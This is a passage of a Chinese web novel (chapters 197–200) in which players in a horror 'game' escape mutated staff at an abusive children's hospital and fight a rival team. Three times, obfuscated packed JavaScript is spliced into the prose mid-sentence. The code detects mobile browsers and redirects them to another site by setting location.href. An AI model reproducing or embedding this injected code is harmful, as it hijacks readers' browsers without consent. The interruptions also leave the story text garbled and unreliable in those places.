初与序:“……” 身后两个医生狐疑地瞅了他们几眼,总觉得这三个孩子在说悄悄话,可看过去时,却只见到三张面无表情的脸,只好纳闷地摇了摇头。 单良上前一步,掏出一串钥匙,打开了住院部厚重的铁门。 门内并非直通一楼,而是一个过渡小厅。他们刚踏进去,另一位医生就从外面将门“砰”的一声重新锁死。小厅里立刻漆黑一片,伸手不见五指。 单良摸索着按下按钮,电梯门嘎吱打开,惨白的灯光漏出,勉强照亮了空间。 电梯间很小,脚下的木地板磨损严重,上面粘着几块暗红色污渍。根据三位玩家的经验,不难猜出那是鲜血。 见三人的目光都落在那片血迹上,单良不耐烦地催促:“快点进来!你们要是想看,等到了地方让你们看个够!” 四人走进电梯,单良按下了三楼的按钮。 初与序记得在现实的善佑医院三楼上,有一个专门用于“集体教育”的大堂,院长挺喜欢在那里给病人洗脑,她也最讨厌那个环节,经常偷偷睡觉,不容易被发现。 紧接着,单良冷冰冰的声音响起:“一会儿在三楼有个迎新会,你们三个都给我放老实点,谁敢惹事,有你们好果子吃。” 又能睡觉了。 197.坏孩子 电梯嘎吱嘎吱向上爬,不到几秒,几人都听到了从上层传来的哭嚎和尖叫,越往上越是清晰。 冬逢初和随歌面色一变,唯有初与序垂着眼面无波澜。而旁边的单良对此充耳不闻,反而露出了一个浅笑。 “叮——” 三楼到了,门刚滑开一条缝,一个约莫十四五岁的女孩就像疯了一样朝电梯里扑来,双手胡乱着向前抓:“放我出去!我要出去!” 随歌被这突脸吓得猛地往后一蹦:“我操!什么鬼?!” 一名身材壮硕的保安大步追上,一把攥住女孩病号服后衣领,毫不费力地将她拽离地面,重重掼在走廊地面上。 他一脚踩住女孩试图挣扎的腿,扭头对单良挤出讨好的笑:“单医生,您负责的这床,这个月都第五次跑了,您看怎么着……?” 单良停下脚步,冷淡地扫过地上蜷缩的女孩:“竹翰学院送过了吗?” 随歌听到熟悉的名字,脸色沉了下来。 “送过两回了,还是不老实嘞。” 单良不再看她,抬脚走出电梯:“那就送五楼去吧。” “不!我不去!我才没病!”女孩闻言,爆发出尖叫,拼命挣扎。保安俯身,一巴掌狠狠扇在她的脸上,尖叫声戛然而止。 冬逢初皱起眉,下意识往前迈出半步。 耳边传来初与序通过耳骨夹传来的声音:“冬逢初,刚进副本,规则不明,别动。” 单良已经开始不耐烦地催促,三人只得跟上,走向走廊尽头大堂的门。 【415号床病人积分低于-50,身份确认为‘坏孩子’,已移送至五楼】 身后,女孩被保安粗暴地拖向还没关闭的电梯。她不再哭喊,眼神空洞,茫然地盯着新来三人的背影。 然后,她看见走在最后的初与序侧过半张脸,垂着眼睫,右手背在身后,对着她快速地做了几个手势。 随即她若无其事地转回头,跟上前方人的脚步。 三人被领进所谓的大堂。 这里的空气弥漫着消毒水的怪味,讲台下方黑压压站着近百个穿着病号服的孩子。 前排的孩子病号服崭新,身上干干净净,脸色红润。但眼神空洞,像被抽走了灵魂,规规矩矩站着,这应该就是住在一楼的“乖孩子”。 而后面几排,孩子们面色苍白,眼窝深陷,病号服宽大,有些上面还沾着已经干涸的血迹,裸露的皮肤上带着伤。他们大多低着头,身体微微发抖,是住在中层的“孩子”。 但整个大堂内,没看到一个状态比“孩子”更差的病人。这么看来,那些“坏孩子”完全被隔离在五楼,无法离开。 初与序三人的到来引起了一阵小的骚动,前排的“乖孩子”依旧麻木,后排的“孩子”则偷偷交换着眼神,有人趁着护士视线移开,窃窃私语,也有人朝着台上冷笑。 还好,不是所有人都是麻木的。 讲台上,一个腆着大肚子,穿着白大褂的男人站在那里,脸上堆着夸张虚假的笑容。 单良朝旁边的保安使了个眼色,三名保安立刻上前,粗暴地抓住初与序三人的胳膊,硬生生将他们拽到了台上,安置在院长旁边。 院长笑眯眯地看向三人,在看到他们面容不错的脸上时心情明显愉悦。他拉过话筒,笑道: “孩子们!今天,我们迎来了六位需要帮助的新朋友!不过嘛,现在只到了三位……” 听到这话,台上的三人交换了眼神,都在对方眼中看到了疑惑。 随歌用口型,对另外两人问道:“还、有、别、的、玩、家?” 尽管他动作再怎么小心,也被讲台上的院长看到了。他脸上的假笑更深了:“看来我们的新朋友还不懂我们善佑医院的规则。不过没关系的,不用紧张,无知者无罪嘛。” 他话锋一转,看向台下后排那些面色苍白的“孩子”:“这三位新朋友刚来这里,所以属于‘孩子’。那现在,就让我们帮助三位新病人,熟悉一下我们‘孩子’病区的基本规则。孩子们,你们愿意帮助他们吗?” 他话音刚落,后排的“孩子们”身体猛地一颤,随即条件反射地嘶喊起来: “是!我们愿意!” 紧接着,背诵声在大堂响开: “规则一:医院既家园,医生护士是再生父母,不得违逆!” “规则二:质疑既病症,沉默是良药,不得提问!” “规则三:疼痛是关怀,惩罚是疼爱,不得闪躲!” “规则四:个体既错误,整齐是美德,不得特殊!” “规则五:自由是毒素,禁锢是保护,不得索要!” 一条条规则,将人的尊严和自由剥夺。台上的冬逢初和随歌越听越懵,脸上全是错愕,而初与序对这些规则再熟悉不过。 院长满意地点了点头,转向他们三人:“新病人都听清楚了吗?这些规则要牢牢记住哦。如果犯了错……可是要受罚的。” 随歌偷偷翻了个白眼,但还是压下了脾气。 院长对他的“驯服”似乎很满意,清了清嗓子,开始了他的“心灵鸡汤”: “孩子们,你们要知道,把你们送到这里,不是因为厌恶,是因为爱。你们的心灵生了病,就像花园里长了杂草。如果不加以修剪,这些杂草就会疯长,让你们变得暴躁、叛逆,成为社会的负担,甚至是潜在的威胁。想想看,如果没有我们善佑的管教和引导,你们内心那头野兽被放出来,会做出多么可怕的事情?伤害他人?甚至……杀人?” 台下鸦雀无声。 初与序无聊地打了个哈欠,低着头,借助耳骨夹与旁边的冬逢初交流: “这次副本规则太严苛,加分慢,扣分快,按部就班太难通关了,一定有其他的通关方法。” 冬逢初淡淡地嗯了一声:“目前还没看到‘坏孩子’,‘坏孩子’的身份较特殊。” “嗯,需要机会……” 初与序的话被大堂另一侧大门后传来的声响打断,那是一阵破口大骂,夹杂着粗暴的拖拽声,朝着这个方向而来。 院长立刻不悦地皱起眉头,但很快意识到自己失态,重新挤出一个和蔼的笑容,看向那扇侧门。 一部分病人也忍不住好奇,扭过头望向那边。 “低头!不许看!”周围的医生和护士立刻厉声呵斥,扬起手里的棍子和巴掌,强迫他们低下头去。 但台上三人没有理会医护的呵斥,同时转过头,看向侧门。 侧门被一个医生猛地踹开,撞击在墙上发出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009355|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨响。那医生手里死死揪着一个男孩病号服的后衣领,将他像丢麻袋一样狠狠摔在地板瓷砖上。 “操你大爷的!”男孩疼得龇牙咧嘴,爬起来就要扑回去。 下一秒,他的视线与台上三人撞个正着,动作僵住。 几个人就这么大眼瞪小眼,愣在原地。 趴在地上的男孩戴着黑框眼镜,眉眼满是戾气,嘴角有一块淤青,显然刚刚已经激烈反抗过了。 正是十五岁的林志。 他身后,被保安反拧着胳膊带进来的是付遇和蒋川。付遇头发凌乱,显然也经过一番挣扎,而蒋川却像没事人一样,懒洋洋地笑着,冲台上三人道:“Hi~又见面了啊。” 台上三人:“???” NPC们:“???” 初与序在心里叹了口气,看来不能睡觉了。 随歌跳起来破口大骂:“我操!那三个玩家是你们啊!你们他妈有毛病吧?从永冬之城追到这里来?!” 他指着蒋川,“蒋川,你个杀千刀的!之前包草莓大福的时候不是说不和他们搞一伙吗?现在你站谁那里呢?!” 蒋川翻了个白眼:“不怪我啊,要怪就怪他们队伍手段太‘温柔’了,把我感动了。我一感动,不就到他们这边来了吗?” 刚从地上爬起来的林志一听,火气更旺,吼了回来:“放屁!谁他妈知道是这种鬼地方!A12说这副本跟你们三个人里其中一个有关,又是离永冬之城最近的,你们肯定在里面。到底是谁啊和这破副本有关?坑死人了!” 冬逢初幽幽开口:“也不知道是谁非要追过来,现在不乐意了。” 院长和医生们愣是听他们对骂了好几轮才反应过来,院长强撑着假笑,也幽幽提醒:“新病人……不该这么吵闹,要遵守纪……” 可惜台上台下这六位“病人”没一个真把自己当病人,压根没人搭理他。 付遇站在后面,冷冰冰地出声:“既然找到他们三个了,就速战速决,回去给二哥交代。” 林志一听指令,立刻不装了。旁边一个医生伸手去抓他,他手腕一翻,从面板中直接抽出一把金光闪闪的蝴蝶刀。 他一个利落的近身飞摔,只见鲜血四溅,刚刚还活生生的医生,头颅已经滚落在地。 全场瞬间死寂。 除了前排那群麻木的“乖孩子”,所有人都下意识捂住嘴巴尖叫起来,谁也没有想到一个十五岁的孩子下手如此狠辣果断。 【玩家林志,违反规则,扣分10分!】 林志手腕上手环的屏幕分数立刻从【0】分变成鲜红的【-10】分。 没有人在意这个破分数,付遇和蒋川也开始亮出武器。蒋川从背后抽出一把看起来就分量不轻的斧头,斧面闪闪发光。 到了这一步,初与序三人还觉得虽然棘手,但或许还可以搏一搏单车变摩托。 然而,当付遇不紧不慢地从面板里抽出她的武器时,三人突然感觉自己的想法太天真了。 那是一把链条疯狂转动,发出巨大轰鸣声的电锯。 我操,这你告诉我怎么打?! 三人里只有随歌带着武器,还是治愈系,冬逢初身上还带伤,和他们三个对上,五秒不死都算他们骨骼惊奇。 198.坏孩子 院长脸上虚伪的和蔼终于碎裂,他沉下脸,眯起眼睛,死死盯着付遇三人:“看来新病人是铁了心的屡教不改了,是时候让这些孩子知道,在这里犯错的代价是什么了。” 他抬起手,轻轻一挥,周围的护士和医生得到了指令,齐齐朝付遇他们扑去。 然而付遇他们根本不在乎,提着武器就开始反击,一时间大堂里充满了NPC的惨叫怒吼,刺耳的系统警告在几秒后猛地响起: 【警告!警告!NPC黑化值已达巅峰!即将变异!】 整个善佑医院的温度猛地降低,墙壁迅速剥落,整个大堂变得破败不堪,场中的医生护士的身体也开始变形。 护士们的皮肤变得血肉模糊,头发五官消失,整张脸只剩下一个裂开伸长的嘴巴,从口中吐出无数扭动的血管。医生的头发则如海草般长长,四肢身体抽成细长一条,像被拉长的人影,一只硕大无比的惨白独眼睁开,占据了整张脸。 前排的“乖孩子”眼眶里同时淌下鲜血,嘴唇开合,一遍遍重复着医院的规则。后排的“孩子”则在一片尖叫中被保安粗暴地拖走,缩进病房里。 【恭喜玩家提前触发大逃杀剧情:「医护人员的怒火」。】 【住院部全体医护人员已被激怒,决心给予不听话的孩子一些惩罚。】 【任务更新:在变异体追杀下存活,逃亡期间,不得违反任何医院规则。】 【警告:护士的听觉极其敏锐,切勿被它们的血管缠绕,它们会将你拖入口中。】 【警告:医生的速度超乎想象,切勿与它们的独眼对视,它们将直接导致你死亡。】 系统音落下的下一秒,所有怪物的脑袋,齐刷刷转向了六位玩家。 台上三人只懵了一秒,随歌再次破口大骂:“我操!快跑啊!老子上辈子欠你们屠宰场的,刚进副本就触发大逃杀!” 冬逢初和初与序已经向台侧跃下,随歌紧随其后,没有武器的三人和现实中普通人一样,现在只有逃亡这一条路。 护士们口中的血管凌空袭来,初与序矮身从一张侧翻的桌下滑过,随歌同时扯过一块窗帘向前一甩,罩住另一边袭来的血管,为冬逢初争取到侧身滚开的空隙。 冬逢初刚站稳,一名细长医生已经来到身后,随歌猛地将另一条窗帘用力掷向医生头部,遮蔽它的视线,冬逢初趁机跃出包围。 三人在混乱的桌椅间穿梭,一片鸡飞狗跳。付遇抱着电锯从斜边劈来,初与序连忙变向,顺便踹倒一个文件柜,暂时阻挡付遇。林志见状,立刻前来帮忙,手持蝴蝶刀朝着她刺来。 冬逢初眼疾手快,抓起不知哪个孩子掉落的一本厚皮书籍,朝着那边扔去,蝴蝶刀直直刺入厚厚的书籍,化解了这一击。 【玩家付遇,攻击医护人员,扣分10分!】 【玩家林志,破坏公物,扣分10分!】 系统的声音不断响起,屠宰场三人对视一眼,立刻改变方案。付遇手中的电锯挥得更厉害,显然打定主意由她一人承担所有扣分。蒋川和林志则收敛许多,仅仅围堵主角团,确保自己不扣太多分被分配至五楼。 初与序三人全凭默契逃命,初与序对这个大堂的地形再了解不过,她引着两人靠近侧面。 高台上,院长不知何时又挂上了那副笑眯眯的表情,欣赏着脚下的混乱。 幸运的是,初与序三人只闪躲不攻击,系统扣分的提示只在偶尔碰到设施时响起,无人触及【-50】的临界线。现在刚进副本,不了解五楼的情况,维持【-50】以上的分数是最优选。 三人摸到侧门边缘,混乱中随歌看准时机,抽出竹扇,对准方向轻轻一挥。 浓重的大雾从他竹扇中涌出,弥漫整个大堂,目力所及只剩一片模糊。只有初与序三人能看清前方的道路。 “快走!”付遇三人听到他们中的人说。 “妈的,又是这破雾!”林志骂骂咧咧,随即他冷笑一声,“随歌,你他妈没想到吧,这次我带了除雾道具,专门对付你的。” 说着,他手上已经多出了一枚水晶球。水晶球微光一闪,周遭浓雾光芒撕开,迅速消散退去。 大堂内,连他们三人的影子都看不到。 林志:“……” 付遇:“……” 蒋川:“……” “找!”付遇气急败坏,“我就不信这一次杀不死他们三个!” 此时此刻走廊另一端,初与序三人正在狂奔。 然而护士怪物的听觉实在敏锐,立刻捕捉到他们的脚步声,从口中发出嘶鸣。这嘶鸣传递给了那些医生怪物,下一秒,一道细长的黑影猛地从前方的转角闪出! 医生怪物细长的身躯几乎贴到天花板,猛地俯冲下来,黑洞洞的眼球直勾勾地照向三人。 三人反应很快,在即将与它对视时硬生生侧开头,冲进旁边的杂物间。在他们跌入的下一秒,无数根血管狠狠钉在门框上。 随歌用竹扇召唤出的浓雾挡住了付遇他们的视线,但无法挡住怪物们的视线。只要他们在行动,护士怪物就能知道他们的位置。初与序朝另外两人使了个眼色,三人迅速闪到角落里一个铁皮箱后,一动不动。 所有声音被压到最低,柜子外能听到雾气中怪物血管拖沓在地的声响,它们的头颅缓缓转动,试图寻找着三人。 随歌小心翼翼地用口型问:“成了?” 初与序垂下眼,凝神倾听着,外面的声响似乎有了迟疑。 但这停顿只持续了不到三秒,紧接着,那拖沓声猛地转向,直直朝着柜子后方而来!那医生怪物收到了指令,猛地朝着这边高速运动,破风而来! “跑!”初与序猛地闪开。 三人从箱子后面跃出,数根猩红的血管狠狠刺穿了他们刚才藏身的位置,不知多少数量的怪物朝着这边冲刺。 冬逢初侧过身,一根血管擦着他过去:“我们已经没有发出任何声音了!” 随歌狼狈地避开从侧面扫过来的细长胳膊,骂道:“是啊!刚才安静得他妈的连心跳声都听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009356|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得见!这系统不会骗人吧!” 初与序微微喘着气,闻言灵光一闪,立即道:“心跳!它们能听到我们的心跳声、呼吸声,甚至血液流动声。” 随歌一个趔趄,差点撞墙:“我操?!” 就在这么短时间内,两只怪物已经一前一后夹击。护士怪物口中喷出血管,趁着初与序说话的间隙缠住她的胳膊,将她提离地面,直送向自己裂口中。 冬逢初和随歌立刻上前,随歌想也未想就掷出手中唯一的武器,竹扇“啪”一声重重砸在怪物脑门上。怪物吃痛,发出一声嘶吼,血管下意识一松。 初与序直直坠落,她在半空中调整姿势,稳稳落在通往四楼的楼梯平台上。 她刚要下去与队友汇合,下方的医生怪物却突然动了,它顶着细长的身躯,朝两人一个暴冲,直接撞入冬逢初和随歌之间。 “砰!” “我操!” 灰尘四起,这次没有特权,初与序也看不清路,耳边只能听到混乱的撞击声和随歌的骂声。灰尘未净,下方的护士怪物甩了甩受伤的脑袋,又一次朝着初与序冲来。 “先分开,等安全后再找机会汇合!”耳骨夹里传来冬逢初冷静的指挥。 没有退路,初与序应了一声,不再犹豫,转身朝楼梯上方跑去。 她冲向天台,连上两层楼梯,却在通往五楼楼梯的入口处被冰冷的铁门挡住,铁门上挂着重锁,玩家无法进入。 初与序心里一沉,立刻折返,想回到四楼,正对上冲上来的护士怪物,它口中的血管朝初与序直直卷来。 【检测到致命攻击,是否使用《田园牧歌》奖励道具:「溪水之韧」?】 【是。】 下一秒,一道清澈的水幕凭空出现,环绕在初与序周围。袭击而来的血管撞入水墨,速度减慢,随即被翻涌的水流吞噬。 初与序抓住这五秒的保护,重新闪入四楼走廊。 四楼结构与三楼相仿,她很熟悉这几层的地形,凭着记忆冲进四楼护士站,抓起桌上的闹钟,飞快将闹钟时间调到三十秒后,轻轻放回桌面。 接着她放轻脚步,轻飘飘走入对面的洗衣房,利用变小的身体躲进角落,将全部衣服堆在身前,压制着呼吸,让狂跳的心跳平缓下来。 外面的脚步声变得迟疑,那怪物能捕捉到的声音微弱了很多,却没有消失。它的逐渐靠近洗衣房,出现在门口,它俯视头颅,缓慢地寻找,一点点逼近初与序藏身的角落。 初与序面色平静,透过衣物的缝隙,静静看着靠近的怪物。 怪物似乎确认了目标,动作顿了一秒,巨口猛地张开,蓄势待发的血管昂起,对准了她的位置! “叮铃铃铃——!” 就在这时,护士站的闹钟猛地响起! 护士怪物被惊扰,发出一声嘶吼,不顾一切地收回所有血管,转过头以惊人的速度冲向声音的来源。 初与序趁机从角落一跃而起,头也不回地冲出洗衣房,朝着走廊另一侧奔去。 199.坏孩子 二楼,随歌被冬逢初拽着在迷宫般的走廊里穿梭,身后两只细长的医生怪物紧追不舍,速度堪比一百个博尔特。 “这鬼地方怎么绕啊!”随歌不熟悉地形,被追得头晕。 冬逢初一言不发,将他猛地扯进一间医务室,反手关上门,迅速躲进靠墙的药品柜后,屏住呼吸。 柜门外,细长扭曲的怪物缓慢走来,徘徊不去。没有护士怪物的指引,它们失去了目标,徒劳地搜查了半天,终于放弃,脚步声渐渐远去。 柜子里的两人刚松一口气,眼前的门突然被人从外面一把拉开!一道寒光带着风声直刺进来,捅向冬逢初的心口。 冬逢初反应很快,立刻侧过身,锋利的蝴蝶刀深深扎进他刚才依靠的木质柜壁上,捅出一个窟窿。 林志面无表情的脸出现在柜门外面,他手腕一拧,拔出了蝴蝶刀。 趁着他拔刀的时机,冬逢初和随歌飞快从柜中跑出,正要冲出门,一道寒光却从门外劈来。付遇手持电锯,面无表情地堵住了去路。 林志甩着蝴蝶刀,笑道:“终于找到你们了。” 随歌“唰”地展开竹扇,横身挡在冬逢初面前,不满道:“喂!我们几个到底怎么得罪你们屠宰场了,非要不死不休吗?” “我们都叫屠宰场了,自然是想杀的人必须杀。”林志扯了扯嘴角,“像你们这种特别难杀的,我们更感兴趣。” 付遇冷冰冰道:“随歌,这次我们无论如何也要取初与序和冬逢初的命,和你没有任何关系。你现在让开,我们不动你,你也别管我们干什么。” 随歌瞪着眼睛:“我靠?怎么还带挑拨离间的?想得美!他们是我的队友,我可没你们这么没心!” 付遇和林志对视一眼:“那就别怪我们不客气了。” 话落,林志已经手持蝴蝶刀,直冲而来刺向随歌的咽喉。随歌抬起竹扇格挡,扇骨与刀刃碰撞,竟没有留下凹痕。 付遇启动电锯,仅凭拳脚,跃起,朝着冬逢初的腰腹侧踢过去。冬逢初浅浅避开,手肘砸向对方膝盖。对方收腿变招,拳风呼啸。 另一边,随歌抖了一下扇面,一股劲风逼退林志,另一手抓起一边的文件夹就砸向对方面门。 “我操!你耍阴招!”林志被砸了个正着,鼻腔里涌出鲜血,他破口大骂。 狭小的医务室内,四人身影交错。冬逢初凭着更胜一筹的近身格斗,与付遇周旋,但别看付遇身材瘦削,力气却大得惊人,没过一会冬逢初手臂就打得发麻。随歌则靠竹扇的技能,游刃有余地招架着林志。 但这样一直打下去不是办法,他们总有力气耗光的时候,而对方两人手上还有技能武器,迟早GG。 冬逢初和随歌交换了一下眼神,随歌调转方向,借用风力将自己的位置与林志互换,来到冬逢初一侧。冬逢初硬生生扛下付遇一拳,顺势踹倒身前药品架。 玻璃瓶罐哗啦啦倾斜而下,玻璃和药液飞溅,将双方隔离开来。 “快走!”冬逢初拽着随歌手臂,冲到走廊上。跑了几米后却又停住脚步,左右张望,像是在寻找什么最方便的路径。 “啥意思啊?”随歌被冬逢初的行为弄得一脸懵,小声问。 冬逢初没有回答,突然带着他毫不犹豫冲进一条不起眼的岔路,七拐八绕,迅速甩开了身后的追杀。最后,他推开一扇看似是墙壁的暗门,将随歌拉了进去,反手轻轻合拢。 门外,电锯声和脚步声逼近,片刻后又远去。 直到门外彻底没有一丝动静,随歌也放松下来,靠在墙上喘气。他转过头压低声音,问道:“你咋知道这里有个工具间?” 冬逢初道:“暗门从外面仔细看就能发现缝隙,我不知道这里有工具间,只知道门后能藏人,他们不细看很难发现,就拉你进来了。” 随歌恍然大悟地点了点头,随即轻轻将门推开一道缝隙,门外空无一人。 “现在安全,得感觉去找初与序,她一个人估计又要去作妖。”随歌说着,侧身出了工具间。 冬逢初微微侧头,点了两下耳骨夹,正准备练习,肩膀却突然被人从后方轻轻搭住。 他眼神一冷,本能地转身,握起一拳向后砸过去,手却在半途被人轻轻握住。 “是我。” 熟悉的声音和勿忘我花的味道让冬逢初动作停住,他转过身,正对上初与序的眼睛。她气息微喘,脸颊溅着几滴未干的血迹。两人对视了几秒,她又移开目光警惕地看向走廊其他地方。 “停停停,你咋出现的?!”随歌被吓了一跳,“你刚刚去哪里了?” “就在四楼。”初与序回答。 冬逢初抬手,轻轻擦去她脸上血迹:“你受伤了?” “没有。”初与序道,“不是我的血。”她说着,走向最近的一间病房,轻轻推开门,“别在走廊上站着,太明显了。” 三人闪入病房,房内有三张床位,两个原本待在里面的孩子警惕地看了过来,见是同样穿着病号服的人,松了口气。 其中一个皱起眉头:“你们是谁?怎么出来的?没有护士看管吗?” 初与序没有回答,径直走到他面前,面无表情抬手,在他后颈某处一捏。那孩子身体一软,两眼翻白,瘫软下去。 另一个孩子一脸错愕,张嘴就要大喊。冬逢初已经快步上前,同样利落出手,将人放倒。 病房里没有多余的椅子,坐人家床也不太好,三人干脆背靠墙席地而坐。 “不能按部就班了,屠宰场的人一直咬着不放,我们慢慢赚积分,没等凑够50,估计就被他们耗死了。”初与序道。 冬逢初点了点头:“系统规则里,‘坏孩子’去五楼是不可逆的。听上去是死路,但S级副本不按常规来。成为‘乖孩子’可能才是死路,而去五楼则是唯一的生路。” 随歌挠了挠头:“所以说我们得主动找死,感觉把分扣到-50以下,去五楼找线索?” “什么找死,别说那么难听,这叫战略转移。”冬逢初纠正道,“但付遇他们一定也知道这一点,不会全部上去,大概率只会派一人。按现在来看,很可能是分数已经最低,并且战斗力最强的付遇亲自去五楼。林志和蒋川会留在中层,牵制我们。” 初与序托着下巴:“我们战斗力弱,需要两个人去五楼。” 随歌闻言,拍了拍胸口:“那留在中层的任务就交给我呗?咱现在也只有我有武器了,打架我在行,跟那两人周旋没问题。”他晃了晃手里的竹扇,“我这宝贝还能呼风唤雨,打不过也能跑。破译线索、找系统漏洞、合作啥的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009357|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种活儿,还是你们俩更合适。” “好。”初与序不再犹豫,“随歌,你留在中层,尽量牵制林志和蒋川,别让他们给五楼的付遇传递线索。找机会……如果能除掉最好。” “一会儿,你制造大规模混乱,吸引医护人员的注意,为我们创造机会。” 她转向冬逢初:“我们两人,在随歌制造混乱时,进行更高效的破坏,用最快速度将积分扣到-50,触发规则,进入五楼。” 她话音刚落,系统声音再次响起: 【恭喜各位玩家在大逃杀中存活。此次事件中,无人死亡。】 【相信经过此次教训,孩子们已深刻理解遵守规则的重要性,并保证在接下来的治疗期间内不再犯错。】 【当前积分统计:】 「玩家初与序:-35」 「玩家冬逢初:-23」 「玩家随歌:-26」 「玩家付遇:-186」 「玩家林志:-46」 「玩家蒋川:-30」 【警告:玩家付遇积分已低于-50,身份确认为“坏孩子”,即将被移送至五楼。】 【提示:午餐时间到,请所有病人在十分钟内抵达餐厅,补充食物。】 三人同时起身,初与序开口:“餐厅在三楼。” 随歌回头看了一眼地上昏迷的两个孩子,摇了摇头:“自求多福吧。”随即快步跟上前面两人。 走廊已经恢复原状,斑驳的墙壁,昏暗的灯光,温度也不再刺骨。中层的孩子们也纷纷从病房里出来,朝三楼走去。 餐厅在三楼走廊的另一侧,依旧是初与序记忆中的样子。空旷的大厅,一排排固定的冰冷铁桌椅。护士和保安站成一排,盯着每一个孩子,禁止任何交谈。 这里不是排队打饭,而每个位置前都摆好了统一的铁碗,里面放着定量的食物。新来的病人自然被安排在最后排,五人就这样被分到同一张长桌。 付遇被关到了五楼,来餐厅的只有林志和蒋川,他们身上都挂了彩,显然在逃亡中吃了不熟悉地形的亏,被怪物收拾得够呛,此刻暂时收敛了气势,打算先顺着剧情走。 林志用口型,对三人威胁:“你们给我等着瞧。”而蒋川坐在那里,似乎有些心不在焉,目光游移。 随歌毫不客气地朝林志回敬了一个鬼脸,跟着队友坐在他们对面。 他低头去看碗里的菜,瞬间傻眼。 铁碗里的饭菜简陋,没有一丝油腥。米饭泛黄,粘结成块。几根煮得烂糊的紫色白菜趴在碗底,旁边是一小坨看不出圆形的深绿色糊状物,算是汤。 “……” 随歌用筷子扒拉了一下,从菜叶里挑出一只僵硬的黑色蛆虫。他扯了扯嘴角:“俺娘嘞,这都是嘛啊?还给免费补充蛋白质呢?” 他声音虽小,但还是被远处一个耳朵很尖的护士发现,护士猛地转过头,示意身后的保安。站在随歌后面的保安二话不说,扬起巴掌就狠狠拍在他后脑勺上。 “嘶!”随歌疼得龇牙咧嘴,差点把碗打翻。 护士满意地收回目光,冷冰冰地对着所有孩子道:“珍惜粮食,不许浪费。每个人,都必须吃得一粒不剩,尤其是新病人。” 新病人:“……” 200.坏孩子 林志和蒋川盯着碗里令人作呕的食物,脸上全是毫不掩饰的烦躁,显然不打算碰一下。 初与序一手拿着筷子,另一手支着脸颊,对眼前的饭菜毫无兴趣,慢吞吞想着接下来该如何更高效地扣分。 在善佑医院,单纯的违反纪律远不及直接破坏设施来得让院方头疼。破坏东西意味着需要耗费人力物力修复,如果损坏严重,甚至需要从外界请人进来,这无疑增加了外来人员发现他们虐待孩童的风险。因此,破坏,尤其是对关键设施的破坏,扣分最狠。 但破坏什么,才能让收益最大化,甚至可以为后续行为铺路。 ——电路。 这里的电路维系着医院。为了掩盖医护人员的罪行,这里常年禁闭,窗户都是铁框加固,照不进一点阳光,全依赖人工照明。一旦切断电源,整个住院部会陷入黑暗。不仅能造成直接的破坏,也能在他们进入五楼时干扰付遇的追击,或许还能让那些“治疗”暂时终止。 只是对自己的眼睛不太好…… 初与序微微侧头,利用耳骨夹将想法传递给冬逢初。 冬逢初思索片刻,同意了这个办法。 计划方向确定,但电力室需要钥匙才能进入。初与序慢慢抬起头,扫视餐厅后方的医护人员。随歌也左右张望了一会,随即用手肘碰了碰身边队友,示意他们斜后方的角落。 单良就站在那里,双手抱胸,面色阴沉地监视着孩子们。而在他的白大褂腰间,挂着一串钥匙。其中一把钥匙上贴着一个标签:【电力室】。 三人对视一眼,也许是急着上五楼,也许是真受不了这恶心饭菜了,他们决定现在就实施计划。 随歌表面上用筷子百无聊赖地戳着碗里的米粒,桌下的长腿却悄无声息调整角度,瞄准对面林志的方向,然后猛地一瞪! “啊啊啊——!” 林志脸色瞬间煞白,从椅子上弹起来,双手捂住□□,痛得嚎叫起来。 初与序和冬逢初同时一僵,谁也没料到随歌选择的“制造混乱”方式是这样子…… 随歌笑眯眯地看着林志,下意识端起碗想喝口汤缓解一下氛围,那诡异的绿色液体刚入口,他脸色一变,“噗”地全喷了出来,又正好溅了痛苦弯腰的林志一身。 “我操随歌你妈!你他妈有病吧!踢老子命根子!”林志疼得也顾不上什么规则了,指着随歌大骂,“老子惹你了?我去你的祖宗十八代!” 随歌抹了把嘴,笑嘻嘻道:“哎哎这位朋友,你可别冤枉人啊,我可什么都没干。” 这话更是火上浇油,林志气得随手抄起面前的铁碗就朝随歌头上砸去,蒋川急忙站起来想拉住他,但哪里拦得住。 随歌“哎哟”一声,灵活地缩头躲过,两人立刻秦王绕柱般绕着铁餐桌追逐起来,把周围埋头吃饭的孩子和医护人员都看得愣住,不知作何反应。 瞅准机会,随歌猛地蹿到站在角落的单良身后,朝追来的林志比了个中指,嘴上却可怜巴巴地喊道:“单医生!我最遵守纪律了,这位朋友却二话不说就要打我!您可要为我做主啊!” 单良被他精湛的演技骗过,皱着眉上前一步,伸手就去拦林志:“住手!餐厅不许喧哗打闹!你跟我去禁闭室!” 